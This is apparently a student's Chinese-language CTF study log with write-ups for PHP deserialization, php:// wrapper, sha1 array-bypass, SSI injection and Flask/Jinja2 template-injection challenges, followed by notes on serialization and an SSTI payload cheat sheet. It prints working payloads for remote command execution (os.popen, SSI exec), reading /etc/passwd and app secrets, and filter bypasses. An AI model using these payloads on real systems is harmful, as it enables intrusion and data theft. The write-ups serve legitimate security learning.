[ZJCTF 2019]NiZhuanSiWei—BUUCTF

题目开启

根据上面的代码去单独搜了一些函数，现在能看懂简单的php代码了

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19

<?php   $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){     echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";     if(preg_match("/flag/",$file)){         echo "Not now!";         exit();      }else{         include($file);  //useless.php         $password = unserialize($password);         echo $password;     } } else{     highlight_file(__FILE__); } ?>

代码审计：
第一层绕过：

1	if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

有file_get_content()，可以利用伪协议写入‘welcome to the zjctf ‘过判断；呜呜，伪协议是啥，有时间看（
看到提示有useless.php ，可以利用include(）读一下文件？咋利用啊

可以用php://input伪协议以POST传参’welcome to the zjctf ‘

也可以将文件内容通过data伪协议写进去，然后让file_get_contents()函数进行读取，payload如下

?text=data://text/plain,welcome to the zjctf

保险起见还是应该将welcome to the zjctf进行base64编码然后再进行上传，不然可能会过滤（不过本题没有过滤）

第二层绕过：

1 2 3 4 5 6 7 8

if(preg_match("/flag/",$file)){         echo "Not now!";         exit();      }else{         include($file);  //useless.php         $password = unserialize($password);         echo $password;     }

正则过滤掉flag，而题目又提示了useless.php，所以用php://filter协议来读取useless.php，payload如下：？正则过滤是啥？
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

得到base64源码怎么知道是base64源码的(？)是因为payload里面设定的吗，，总之解码一下

1 2 3 4 5 6 7 8 9 10 11 12

<?php   class Flag{  //flag.php       public $file;       public function __tostring(){           if(isset($this->file)){               echo file_get_contents($this->file);              echo "<br>";         return ("U R SO CLOSE !///COME ON PLZ");         }       }   }   ?>

构造序列化：

1 2 3

$a=new Flag(); $a->file = 'flag.php' ; echo serialize($a);

在本地进行序列化操作，

1 2 3 4 5 6 7 8 9 10 11 12 13 14

<?php class Flag{  //flag.php       public $file="flag.php";       public function __tostring(){           if(isset($this->file)){               echo file_get_contents($this->file);              echo "<br>";         return ("U R SO CLOSE !///COME ON PLZ");         }       }   }   $a=new Flag(); echo serialize($a); ?>

序列化之后：

1	O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终的payload:

1	?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

F12一下得到flag

flag{a7a1de07-d2a4-466e-9c1e-7bc1aa6710ee}

[网鼎杯 2020 青龙组]AreUSerialz—BUUCTF

题目开启

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

<?php include("flag.php"); highlight_file(__FILE__); class FileHandler {     protected $op;     protected $filename;     protected $content;     function __construct() {         $op = "1";         $filename = "/tmp/tmpfile";         $content = "Hello World!";         $this->process();     }     public function process() {         if($this->op == "1") {             $this->write();         } else if($this->op == "2") {             $res = $this->read();             $this->output($res);         } else {             $this->output("Bad Hacker!");         }     }     private function write() {         if(isset($this->filename) && isset($this->content)) {             if(strlen((string)$this->content) > 100) {                 $this->output("Too long!");                 die();             }             $res = file_put_contents($this->filename, $this->content);             if($res) $this->output("Successful!");             else $this->output("Failed!");         } else {             $this->output("Failed!");         }     }     private function read() {         $res = "";         if(isset($this->filename)) {             $res = file_get_contents($this->filename);         }         return $res;     }     private function output($s) {         echo "[Result]: <br>";         echo $s;     }     function __destruct() {         if($this->op === "2")             $this->op = "1";         $this->content = "";         $this->process();     } } function is_valid($s) {     for($i = 0; $i < strlen($s); $i++)         if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))             return false;     return true; } if(isset($_GET{'str'})) {     $str = (string)$_GET['str'];     if(is_valid($str)) {         $obj = unserialize($str);     } }

代码审计：
GET方式传入序列化的str字符串，str字符串中每一个字符的ASCII范围在32到125之间，然后对其反序列化

在反序列化的过程中，调用__destruct析构方法

1 2 3 4 5 6

function __destruct() {     if($this->op === "2")         $this->op = "1";     $this->content = "";     $this->process(); }

如果op===”2”，将其赋为”1”，同时content赋为空，进入process函数，这里op与”2”比较的时候是强类型比较阿哲，强类型比较是啥啊，搜了一下只搜到了弱类型比较和强碰撞，还没看

1 2 3 4 5 6 7 8 9 10

public function process() {     if($this->op == "1") {         $this->write();     } else if($this->op == "2") {         $res = $this->read();         $this->output($res);     } else {         $this->output("Bad Hacker!");     } }

进入process函数后，如果op==”1”，则进入write函数，若op==”2”，则进入read函数，否则输出报错，可以看出来这里op与字符串的比较变成了弱类型比较==
所以我们只要令op=2,这里的2是整数int。当op=2时，op===”2”为false，op==”2”为true，接着进入read函数

1 2 3 4 5 6 7

private function read() {     $res = "";     if(isset($this->filename)) {         $res = file_get_contents($this->filename);     }     return $res; }

filename是我们可以控制的，接着使用file_get_contents函数读取文件，此处借助php://filter伪协议读取文件，获取到文件后使用output函数输出

1 2 3 4 5 6 7 8 9 10

private function output($s) {     echo "[Result]: <br>";     echo $s; } 整个利用思路就很明显了，还有一个需要注意的地方是，$op,$filename,$content三个变量权限都是protected，而protected权限的变量在序列化的时会有%00*%00字符，%00字符的ASCII码为0，就无法通过上面的is_valid函数校验？？？？？此处存疑，待搜索 这题跟上一题一样是两层绕过 第一层：

is_valid()，要求我们传入的str的每个字母的ascii值在32和125之间，因为protected属性在序列化之后会出现不可见字符\00*\00，不符合上面的要求

绕过方法：绕过方法：
①PHP7.1以上版本对属性类型不敏感，public属性序列化不会出现不可见字符，可以用public属性来绕过

②private属性序列化的时候会引入两个\x00，注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到，甚至导致截断，但是url编码后就可以看得很清楚了。同理，protected属性会引入\x00*\x00。此时，为了更加方便进行反序列化Payload的传输与显示，我们可以在序列化内容中用大写S表示字符串，此时这个字符串就支持将后面的字符串用16进制表示。

第二层：

destruct()魔术方法，op===”2”，是强比较，而在process()函数中,op==”2”是弱比较

绕过方法：可以使传入的op是数字2，从而使第一个强比较返回false,而使第二个弱比较返回true.

本地序列化

1 2 3 4 5 6 7 8 9 10

<?php class FileHandler {     public  $op = 2;     public  $filename = "flag.php";     public  $content = "1";        //因为destruce函数会将content改为空，所以content的值随意（但是要满足is_valid()函数的要求） } $a = new FileHandler(); $b = serialize($a); echo $b; ?>

序列化结果：

1	O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}

payload，f12获取flag这里没成功，不知道原因是啥哦qwq，搜了好几个wp都是用这个payload做的，为啥人家可以直接看到，，，相同wp里面php伪协议的方法也没读出来，看了好几个wp的伪协议才得到flag

1	?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}

或者使用PHP伪协议读取flag.php：

1 2 3 4 5 6 7 8 9 10

<?php class FileHandler {     public $op = 2;     public  $filename = "php://filter/read=convert.base64-encode/resource=flag.php";     public  $content = "oavinci"; } $a = new FileHandler(); $b = serialize($a); echo $b; ?>

base64解码得到flag

1 2 3 4 5 6 7 8 9 10 11 12 13

<?php highlight_file('flag.php'); $_GET['id'] = urldecode($_GET['id']); $flag = 'flag{xxxxxxxxxxxxxxxxxx}'; if (isset($_GET['uname']) and isset($_POST['passwd'])) {     if ($_GET['uname'] == $_POST['passwd'])         print 'passwd can not be uname.';     else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))         die('Flag: '.$flag);     else         print 'sorry!'; } ?>

代码审计： 1. id、uname通过get方法传值，passwd通过post方法传值且如果想要进入内层循环必须传入uname和passwd 2. uname和passwd弱类型不相等 3. uname和passwd加密后的值强相等 4. id字段url解码后=‘margin’ id字段只是迷惑，'margin'解码后的值仍然是'margin'，要满足2和3只需要利用sha1函数无法处理数组的特性即可。当对sha1()函数传入数组时会返回null，由此，只需要传入两个不同的数组即可成功绕过 payload:

1	?uname[]=1&id=margin

postdata:

1	passwd[]=2

 获得flag flag{d246947f298242a66445237e83f937d4} ## [file_get_contents]---BugKu ### 题目开启

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

<?php extract($_GET); if (!empty($ac)) { $f = trim(file_get_contents($fn)); if ($ac === $f) { echo "<p>This is flag:" ." $flag</p>"; } else { echo "<p>sorry!</p>"; } } ?>

代码审计： 大致意思就是要上传 ac和fn两个参数，ac的值等于fn文件内容的值，可以用到php伪协议的php://input，访问请求的原始数据的只读流，将post请求中的数据作为PHP代码执行，这个伪协议需要allow_url_include为on？这是啥，简单搜了一下没搜桌 payload:

1	?ac=1&fn=php://input

postdata： 即可得到flag wp作者说用谷歌浏览器里的hackbar的回显是sorry而火狐的hackbar能正常回显出flag 我俩都没回显成功，全sorry（，咋回事捏 看了作者的wp，这作者就离谱  题目是这样的  作者是这么写的。。。？？？哪来的提示flag.txt，是我没看到还是他在瞎掰扯？而且为啥在flag.txt看到的内容要赋给ac。。。什么原理 此处需要刘汉黄豆   这操作还挺离谱，，总之这样能搞到flag，而且还跟前面步骤得到的flag不同： flag{ca5f67adab469c3d5dd43c2edb71c4d2} 试了一下上面的是错的，下面的flag才是正确的 flag{3f643e8a4ea223e2cec463b605251f3e} 这纯寄吧混子 反序列化的题有点不好找啊（ 还有几道攻防世界的，但是攻防世界我怎么开启不了，，，  先不做了，，应该没时间了，明天出去玩，不带电脑，周一（7.6）下午回家 ↓7.3看这个wp [CTF-WEB：PHP 反序列化 - 乌漆WhiteMoon - 博客园 (cnblogs.com)](https://www.cnblogs.com/linfangnan/p/13520608.html#1094377087) [浅谈md5弱类型比较和强碰撞 - 知乎 (zhihu.com)](https://zhuanlan.zhihu.com/p/349853934) [反序列化类型CTF题目总结_Lelouch_E的博客-CSDN博客](https://blog.csdn.net/Lelouch_E/article/details/110142160) ###

序列化

对象的序列化

把一个Person对象以流的方式，写入到文件中保存，叫写对象，也叫对象序列化，对象中包含的不仅仅是字符，使用字节流。

ObjectOutputStream：对象的序列化流

对象序列化的最主要的用处就是在传递,和保存对象(object)的时候,保证对象的完整性和可传递性。

对象的反序列

把文件中保存的对象，以流的方式读取出来，叫做读取对象，也叫对象的反序列。读取的文件保存的都是字节，使用字节流。

ObjectInputStream:对象的反序列流

关于序列化与反序列化，其实就是将对象从文件中写入（序列化）或者是读取（反序列化），反序列化的时候，我们用Object类来接收，因为Object类可以接收任意对象。

序列化步骤

• 将对象实例相关的类元数据输出。
• 递归地输出类的超类描述直到不再有超类。
• 类元数据完了以后，开始从最顶层的超类开始输出对象实例的实际数据值。
• 从上至下递归输出实例的数据

  实现序列化步骤

1. 声明对象具有可序列化的能力
2. 通过Java API实现具体的序列化处理

   几个问题

什么情况下需要序列化?

1. 当你想把的内存中的对象状态保存到一个文件中或者数据库中时候；
2. 当你想用套接字在网络上传送对象的时候；
3. 当你想通过RMI传输对象的时候；

   当对一个对象实现序列化时，究竟发生了什么？

在没有序列化前，每个保存在堆（Heap）中的对象都有相应的状态（state），即实例变量（instance ariable）

相关注意事项

1. 序列化时，只对对象的状态进行保存，而不管对象的方法；
2. 当一个父类实现序列化，子类自动实现序列化，不需要显式实现Serializable接口；
3. 当一个对象的实例变量引用其他对象，序列化该对象时也把引用对象进行序列化；
4. 并非所有的对象都可以序列化，至于为什么不可以，有很多原因了,比如：

安全方面的原因

比如一个对象拥有private，public等field，对于一个要传输的对象，比如写到文件，或者进行rmi传输等等，在序列化进行传输的过程中，这个对象的private等域是不受保护的。

资源分配方面的原因：

比如socket，thread类，如果可以序列化，进行传输或者保存，也无法对他们进行重新的资源分配，而且，也是没有必要这样实现。

声明为static和transient类型的成员数据不能被序列化。因为static代表类的状态，transient代表对象的临时数据。

序列化和外部化的主要区别

序列化会自动存储必要的信息，用以反序列化被存储的实例，而外部化则只保存被存储的类的标识。当你通过java.io.serializable接口 序列化一个对象时，有关类的信息，比如它的属性和这些属性的类型，都与实例数据一起被存储起来。在选择走externalizable这条路时，java 只存储有关每个被存储类型的非常少的信息。

每个接口的优点和缺点

| |序列化|外部化|
|:—-|:—-|:—-|:—-|:—-|
|优点|1、内建支持
2、易于实现|1、开销较少（程序员决定存储什么）
2、可能的速度提升|
|缺点|1、占用空间过大
2、由于额外的开销导致速度变比较慢|虚拟机不提供任何帮助，也就是说所有的工作都落到了开发人员的肩上。|

具体操作

数组的序列化：

1 2 3 4 5 6 7

<?php   $a = array('张三','李四','王五'); $a_ser = serialize($a); echo "$a_ser \n"; print_r(unserialize($a_ser)); ?>

输出：

1 2 3 4 5 6 7

a:3:{i:0;s:6:"张三";i:1;s:6:"李四";i:2;s:6:"王五";}  Array (     [0] => 张三     [1] => 李四     [2] => 王五 )

其中 “a” 表示这是个数组，数组的每个元素的格式形如 “i:0;s:6:”张三”;”
其中 “i” 表示 整型，“s” 表示字符串

对象的序列化和反序列化:

1 2 3 4 5 6 7 8 9 10 11

<?php class a_object{    public $id = 123; } $a = new a_object; $a_ser=serialize($a); echo $a_ser; echo "\n"; print_r(unserialize($a_ser));   ?>

输出结果

1 2 3 4 5 6 7

O:8:"a_object":1:{s:2:"id";i:123;} a_object Object ( [id] => 123 ) 类在序列化后的格式为“变量类型：类名长度（字节）：类名：属性数量：{属性名类型：属性名长度：属性名：属性值类型：属性值长度：属性值内容}”

访问控制修饰符

根据类中字段的访问控制修饰符的不同，在序列化的时候的输出有所不同，例如：

1 2 3 4 5 6 7 8 9 10 11 12 13

<?php class a_object{    public $Id1 = 123;    protected $Id2 = 123;    private $Id3 = 123; } $a = new a_object; $a_ser=serialize($a); echo $a_ser; echo "\n"; print_r(unserialize($a_ser));   ?>

输出：

1 2 3 4 5 6 7

O:8:"a_object":3:{s:3:"Id1";i:123;s:6:"*Id2";i:123;s:13:"a_objectId3";i:123;} a_object Object (     [Id1] => 123     [Id2:protected] => 123     [Id3:a_object:private] => 123 )

声明为 protected 的字段序列化格式为 “%00*%00属性名”，声明为 private 的字段序列化格式为 %00类名%00属性名

绕过 __wakeup()

由于 __wakeup() 函数在执行 unserialize() 时，先会调用这个函数，有时候这个函数中的代码会影响反序列化的利用。因此如果遇到 __wakeup() 函数就要先绕过，绕过方法是令对象属性个数的值大于真实个数的属性。例如：

1 2	Copy O:8:"a_object":4:{s:3:"Id1";i:123;s:6:"*Id2";i:123;s:13:"a_objectId3";i:123;}

magic 方法

PHP 的面向对象中包含一些魔术方法，这些方法在某种情况下会被自动调用。

magic 方法	功能
__construct()	类构造器
__destruct()	类的析构器
__sleep()	执行 serialize() 时，先会调用这个函数
__wakeup()	执行 unserialize() 时，先会调用这个函数
__toString()	类被当成字符串时的回应方法

serialize 和 unserialize 函数

在 PHP 中将对象、数组、变量等转化为字符串，这样便于将数据保存到数据库或者文件中，这个过程称之为序列化。当需要使用这些数据时，就需要用反序列化就是将字符串还原回原来的样子，也就是序列化的逆过程。PHP 提供了serialize和unserialize

函数来支持这 2 种操作，当 unserialize 函数的参数被用户控制时就会形成反序列化漏洞。

语法

PHP isset() vs empty()

isset()

是用于确定变量是否已设置且不为空—>当变量不为null时返回true

empty()

用于确定变量是否为空—>当变量是 空字符串，false，array（），NULL，“0”，0和未设置的变量，返回true。

区别

1、isset()如果包含flase、0或空字符串值，则返回true；否则返回false

empty()如果包含空值、0、null或false值，则返回true；如果字符串包含非空值和非零值，则返回false

2、如果值不存在，isset()函数会返回false，而empty() 函数会返回true

变量的值（$ var）	isset（$ var）	empty（$ var）
“”（空字符串）	布尔（true）	布尔（true）
“ “ （空格字符）	布尔（true）
false	布尔（true）	布尔（true）
true	布尔（true）
array（）（一个空数组）	布尔（true）	布尔（true）
NUll值		布尔（true）
“0”（0作为字符串	布尔（true）	布尔（true）
0（0为整数）	布尔（true）	布尔（true）
0.0（0作为浮点数）	布尔（true）	布尔（true）
var $ var; （声明的变量，但没有值）		布尔（true）
NUll字节（“\ 0”）	布尔（true）

PHP file_get_contents()

定义和用法

file_get_contents() 函数把整个文件读入一个字符串中

和file()一样，不同的是 file_get_contents() 把文件读入一个字符串

file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法

如果操作系统支持，还会使用内存映射技术来增强性能。

语法

1	file_get_contents(path,include_path,context,start,max_length)

PHP printf_r()

语法

1	bool print_r ( mixed $expression [, bool $return ] )

参数说明：

• $expression: 要打印的变量，如果给出的是 string、integer 或 float 类型变量，将打印变量值本身。如果给出的是 array，将会按照一定格式显示键和元素。object 与数组类似。
• $return: 可选，如果为 true 则不输出结果，而是将结果赋值给一个变量，false 则直接输出结果。

  返回值

$return如果设为true才有返回值，为一个易于理解的字符串信息。

不成体系零碎知识

有关PHP

是换行

可加各种HTML头

参考链接

PHP伪协议总结_是大方子-CSDN博客_php伪协议

后记：原来我加的图片边框显示不出来啊，注释也显示不出来，擦，，像个小丑一样
//至于为什么后记会出现在最前面，，这是因为我想让他最先出现（（

[Simple_SSTI_1]—BUGKU

题目开启

开启环境

可以传递一个参数flag

f12看看有无提示

估计flag在一个叫SECRET_KEY文件里

用config查看

得到flag

///疑惑1：为什么文件要用大写（我试了用小写不会爆出flag）

///疑惑2：config是什么

[Simple_SSTI_2]—BUGKU

所用知识：

文件读写

1	{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('在这里输文件名', 'r').read() }}{% endif %}{% endfor %}

命令执行

1	{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('在这里输命令').read()") }}{% endif %}{% endfor %}

题目开启

开启环境

f12发现无提示

尝试直接传递参数2*2被执行了

传点错误语句看看是什么模板

得到信息是python的flask模板注入题，而且是python3.7

网上查找一些payload->[所用知识]

命令执行语句输入ls

文件读写app.py

文件读写gunicorn.conf.py

文件读写flag

获得flag{79f87b148dabb032623e5be9e10c1d0b}

///搜到的wp说命令执行cat flag也能拿到flag，是理解失误(?)输入错误(?)没有执行出来

[EasySearch]—CTFHub

题目开启

输入常用的用户名adminadmin 错误 //忘记截图了

扫一下路径发现index.php.swp //这边我用御剑扫了一下没扫到，，，

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36

<?php ob_start(); function get_hash(){ $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-'; $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times $content = uniqid().$random; return sha1($content);  }     header("Content-Type: text/html;charset=utf-8"); ***     if(isset($_POST['username']) and $_POST['username'] != '' )     {         $admin = '6d0bc1';         if ( $admin == substr(md5($_POST['password']),0,6)) {             echo "<script>alert('[+] Welcome to manage system')</script>";             $file_shtml = "public/".get_hash().".shtml";             $shtml = fopen($file_shtml, "w") or die("Unable to open file!");             $text = '             ***             ***             <h1>Hello,'.$_POST['username'].'</h1>             *** ***';             fwrite($shtml,$text);             fclose($shtml);             *** echo "[!] Header  error ...";         } else {             echo "<script>alert('[!] Failed')</script>";                  }else     { ***     } *** ?>

审计

首先写个脚本让password前6个字符的md5值等于6d0bc1

//好的代码审计，，总感觉之前在哪里听过这个词

代码审计（Code audit）是一种以发现程序错误，安全漏洞和违反程序规范为目标的源代码分析。软件代码审计是对编程项目中源代码的全面分析，旨在发现错误，安全漏洞或违反编程约定。
//啊大概是看一遍代码找一下哪里会出错（？
//代码审计又是一个好大的坑，哈哈，下面附一个学习链接

代码审计入门 - Oran9e - 博客园 (cnblogs.com)

1 2 3 4 5 6 7

import hashlib for i in range(10000000):     a = hashlib.md5(str(i).encode('utf-8')).hexdigest()     b = a[0:6]     if b == '6d0bc1':         print(i)         print(a)

//这里又涉及到哈希表和md5加密以及python 脚本大致能看懂 跑出来的结果如下

2020666
6d0bc1153791aa2b4e18b4f344f26ab4
2305004
6d0bc1ec71a9b814677b85e3ac9c3d40
9162671
6d0bc11ea877b37d694b38ba8a45b19c

//三个分别试一下 发现第二个是正确的

2020666

2305004

抓包一下 抓包后发现头部有个url

Url_Is_Here ： public/a4409a9c9acd7132f486ad32021f4511ee74ba22.shtml

访问一下发现又是登录页面

然后看另一篇wp说这里有shtml漏洞

回到最开始的登录界面

payload:

1 2 3

POST username=<!--#exec cmd="ls ../"--> password=2020666

是一个ssi指令，ls命令用于显示指定工作目录下之内容（列出目前工作目录所含之文件及子目录)

password这里变成了之前脚本跑出来的第一个

利用SSI注入漏洞，可以在username变量中传入ssi语句来远程执行系统命令

1	<!--#exec cmd="命令"-->

ls当前目录

1	<!--#exec cmd="ls"-->

显示登录成功 再抓包进入隐藏url

访问获得flag

flag{4313ab7b-de35-4b56-916d-3a86aac19dff}

//啊但是这里为什么是flag套头的，，ctfhub的flag不是要用ctfhub套吗

//看了一会shtml回来后发现环境到期了，，，然后不知道系统抽什么风续期续不上，不愿再爱

//后面步骤嗯写的，，假设真的有这些东西并且搞出来了

[BJDCTF2020]EasySearch - 王叹之 - 博客园 (cnblogs.com)

[BJDCTF2020]EasySearch - beiwo - 博客园 (cnblogs.com)

有空看看这两篇wp，前面那个属于是虎头蛇尾了

[Flask]SSTI—BUUCTF

题目开启

试一下49说明有ssti漏洞存在

获取eval函数并执行任意python代码的POC：

//啊，，说实话不太清楚啥叫poc，以及这是干什么的
//Proof Of Concept的缩写。在黑客圈指：观点验证程序，运行程序可得出预期的结果，也就验证了观点

1 2 3 4 5 6 7 8 9 10 11

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}   {% for b in c.__init__.__globals__.values() %}   {% if b.__class__ == {}.__class__ %}     {% if 'eval' in b.keys() %}       {{ b['eval']('__import__("os").popen("id").read()') }}     {% endif %}   {% endif %}   {% endfor %} {% endif %} {% endfor %}

打印环境变量

1 2 3 4 5 6 7 8 9 10 11

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}   {% for b in c.__init__.__globals__.values() %}   {% if b.__class__ == {}.__class__ %}     {% if 'eval' in b.keys() %}       {{ b['eval']('__import__("os").popen("env").read()') }}     {% endif %}   {% endif %}   {% endfor %} {% endif %} {% endfor %}

总之输入以后显示结果如下，，得到了flag

flag{166b3d5f-c733-4265-abba-4a4189db8346}

[RootersCTF2019]I_<3_Flask—BUUCTF

题目开启

输一下49

好的，判定有ssti，判断发现是jinja2的模板，fuzz一下发现没有什么过滤，直接上RCE的

RCE英文全称：remote command/code execute
分为远程命令执行ping和远程代码执行evel。

payload：

1 2 3 4 5 6 7 8 9 10 11 12

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("ls").read()') }} //这里的ls就是需要的执行命令 {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

先ls列出目录：

I ♥ Flask & application.py flag.txt requirements.txt static templates

然后执行cat fl``a``g.t``x``t得到flag

flag{8a120b95-0230-405d-8e68-8ca1a4358f4c}

模板引擎(SST)

模板引擎（这里特指用于Web开发的模板引擎）是为了使用户界面与业务数据（内容）分离而产生的，可以生成特定格式的文档，利用模板引擎来生成前端的html代码，模板引擎会提供一套生成html代码的程序，只需要获取用户的数据，放到渲染函数里，生成模板+用户数据的前端html页面，然后反馈给浏览器，呈现在用户面前

模板引擎也会提供沙箱机制来进行漏洞防范，但是可以用沙箱逃逸技术来进行绕过

SSTI

SSTI 就是服务器端模板注入（Server-Side Template Injection）

SST 信任了用户的输入，并且执行这些内容，包括执行本机函数，就像 eval 函数对传入的内容未加任何过滤一样。

因此模板注入很容易导致远程代码执行（RCE）、信息泄露等漏洞。

注入原理

使用 Twig 模版引擎渲染页面，其中模版含有 变量，其模版变量值来自于 GET 请求参数 $_GET[“name”]

Flask SSTI 题的基本思路：

利用 python 中的魔术方法找到自己要用的函数。

• __dict__：保存类实例或对象实例的属性变量键值对字典
• __class__：返回调用的参数类型
• __mro__：返回一个包含对象所继承的基类元组，方法在解析时按照元组的顺序解析。
• __bases__：返回类型列表
• __subclasses__：返回object的子类
• __init__：类的初始化方法
• __globals__：函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

  __base__和__mro__都是用来寻找基类的。

  基本流程

使用魔术方法进行函数解析，再获取基本类：

1 2 3 4 5

''.__class__.__mro__[2] {}.__class__.__bases__[0] ().__class__.__bases__[0] [].__class__.__bases__[0] request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用

获取基本类后，继续向下获取基本类 object 的子类：

1	object.__subclasses__()

找到重载过的__init__类（在获取初始化属性后，带 wrapper 的说明没有重载，寻找不带 warpper 的）：

1 2 3 4

>>> ''.__class__.__mro__[2].__subclasses__()[99].__init__ <slot wrapper '__init__' of 'object' objects> >>> ''.__class__.__mro__[2].__subclasses__()[59].__init__ <unbound method WarningMessage.__init__>

查看其引用__builtins__
Python 程序一旦启动，它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于 builtins 却不用导入，它在任何模块都直接可见，所以这里直接调用引用的模块。

1	''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']

这里会返回 dict 类型，寻找 keys 中可用函数，直接调用即可，使用 keys 中的 file 以实现读取文件的功能：

1	''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('F://GetFlag.txt').read()

读写文件

读文件：

1	''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()

写文件：

1	''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write()

存在的子模块可以通过 .index() 来进行查询，如果存在的话返回索引，直接调用即可。
还有另外的方法：

1	[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

写文件换为 .write() 即可。

命令执行

1.利用eval 进行命令执行。

1	''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

或者。。。

2.利用warnings.catch_warnings 进行命令执行。

首先，查看 warnings.catch_warnings 方法的位置：

1	[].__class__.__base__.__subclasses__().index(warnings.catch_warnings)

查看 linecatch 的位置：

1	[].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')

查找 os 模块的位置：

1	[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')

查找 system 方法的位置：

1	[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')

调用 system 方法：

1	[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')

3.利用 commands 进行命令执行。

1	{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')

1	{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')

1	{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

姿势集

1️⃣

可以获取当前设置，如果题目是这样的：

app.config [‘FLAG’] = os.environ.pop（’FLAG’）

可以直接访问 或者 得到 flag。

2️⃣

同样可以找到 config。

1	{{self.__dict__._TemplateReference__context.config}}

3️⃣
[]、()

1	{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG]}}

4️⃣
url_for、g、request、namespace、lipsum、range、session、dict、get_flashed_messages、cycler、joiner、config等

如果上面提到的 config、self 不能使用，要获取配置信息，就必须从它的全局变量（访问配置 current_app 等）。例如：

1 2 3

{{url_for.__globals__['current_app'].config.FLAG}} {{get_flashed_messages.__globals__['current_app'].config.FLAG}} {{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}

5️⃣
过滤了 []、.

pop() 函数用于移除列表中的一个元素（默认最后一个元素），并且返回该元素的值。

1	''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

在这里使用 pop 函数并不会真的移除，但却能返回其值，取代中括号来实现绕过。
若.也被过滤，使用原生 JinJa2 函数 |attr()

即将 request.class 改成 request|attr(“class“)

6️⃣

过滤下划线 _

利用 request.args 的属性

1	{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

将其中的 request.args 改为 request.values，则利用 post 的方式进行传参。
GET:

1	{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}

POST:

1	class=__class__&mro=__mro__&subclasses=__subclasses__

7️⃣
过滤引号 “

request.args 是 flask 中的一个属性，为返回请求的参数，这里把 path 当作变量名，将后面的路径传值进来，进而绕过了引号的过滤。

1	{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

8️⃣
一些关键字被过滤。

base64编码绕过

用于__getattribute__使用实例访问属性时。

例如，过滤掉 class 关键词

1	{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

字符串拼接绕过

1 2	{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}} {{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}

Burpsuite

具有功能：

